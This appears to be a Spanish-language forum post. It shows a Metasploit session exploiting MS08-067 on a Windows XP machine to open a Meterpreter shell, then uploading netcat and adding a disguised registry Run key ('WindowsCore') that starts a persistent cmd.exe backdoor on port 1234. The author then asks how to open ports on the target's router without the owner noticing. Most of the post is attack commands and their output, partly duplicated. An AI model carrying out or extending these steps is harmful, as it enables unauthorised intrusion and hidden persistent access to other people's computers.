Código:
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
=[ svn r7808 updated 7 days ago (2009.12.10)
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST xx.xx.xx.xx
RHOST => xx.xx.xx.xx
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.0.3 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST xx.xx.xx.xx no The target address
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Sending stage (723456 bytes)[*] Meterpreter session 1 opened (xx.xx.xx.xx:1934 -> xx.xx.xx.xx:4444)
meterpreter >
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
=[ svn r7808 updated 7 days ago (2009.12.10)
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST xx.xx.xx.xx
RHOST => xx.xx.xx.xx
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.0.3 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST xx.xx.xx.xx no The target address
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Sending stage (723456 bytes)[*] Meterpreter session 1 opened (xx.xx.xx.xx:1934 -> xx.xx.xx.xx:4444)
meterpreter >
Una vez dentro me dispuse a subir el netcat.exe y ponerlo con la shell en un puerto y escribirlo en el registro:
Código:
meterpreter > upload /root/tools/nc.exe C:\\Windows\\System32\\
[*] uploading : /root/tools/nc.exe -> C:\Windows\System32\
[*] uploaded : /root/tools/nc.exe-> C:\Windows\System32\\nc.exe
meterpreter >
[*] uploading : /root/tools/nc.exe -> C:\Windows\System32\
[*] uploaded : /root/tools/nc.exe-> C:\Windows\System32\\nc.exe
meterpreter >
Una vez subido y que se puede ejecutar en la consola sin ruta especifica:
Código:
meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v WindowsCore -d 'C:\Windows\System32\nc.exe -L -d -p 1234 -e cmd.exe'
Successful set Hacked.
meterpreter >
Successful set Hacked.
meterpreter >
Lo pondrá a la espera en el puerto 1234, pero si ese puerto no esta mapeado en el router como diablos voy a conectarme a la backdoor?Puedo de alguna manera abrir puertos en su router? Estuve pensando en subirle un servidor VNC pero es muy cutre, y se daria cuenta de que estan trasteando(en el caso de que fuese una situación real...).
A expensas de que muchos van a decir que como es tu router abrelos tu, les diré que en una situación real no se puede hacer eso, y quiero hacerlo todo como si una real se tratase!
Saludos y gracias a todos!










Autor




En línea







